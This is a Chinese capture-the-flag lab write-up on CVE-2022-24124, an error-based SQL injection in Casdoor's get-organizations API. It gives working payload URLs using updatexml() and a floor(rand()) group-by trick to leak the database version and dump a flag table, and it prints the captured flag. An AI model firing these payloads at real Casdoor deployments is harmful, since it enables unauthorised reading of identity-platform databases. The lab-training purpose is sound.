春秋云镜 CVE-2022-24124 Casdoor api 获取组织 SQL注入
靶标介绍
Casdoor是开源的一个身份和访问管理(IAM)/单点登录(SSO)平台,标记支持OAuth 2.0 / OIDC和SAML身份验证的Web UI。 Casdoor 1.13.1之前存在安全漏洞,该漏洞允许攻击者通过api/get-organizations进行攻击。
启动场景
漏洞利用
网上poc,获取版本号
/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)
获取user()失败,仅支持常量 XPATH 查询
/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,user(),null)
该漏洞可以通过注入 XPATH
函数来利用。字段参数内的 UpdateXML
() 或 ExtractValue() 用于生成错误并获取查询输出。
MySQL 中的 UpdateXML 函数包含三个参数UpdateXML
(xml_target
, xpath_expr
, new_xml
),
第一个参数:XML_Document
是string的格式,为XML文档的对象的名称;
第二个参数:XPath_string
是路径,Xpath格式的字符串;
第三个参数:new_value
,string格式,替换查找到的符号条件的数据。
通过“12-MariaDB-0+deb11u1”可以看出当Xpath
路径语法错误时,就会报错,报错回显就是版本号,但是输出被截断并在回显中只显示部分字符。因此需要使用substring()来绕过。
poc
http://eci-2ze91hjzahykhzm1560l.cloudeci1.ichunqiu.com:8000/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=(select 1 from (select count(*), concat((select concat(‘,’,id,flag) from casdoor.flag limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
得到flag
flag{3ad2fd81-0d89-4bcc-b00c-b1c2708d8821}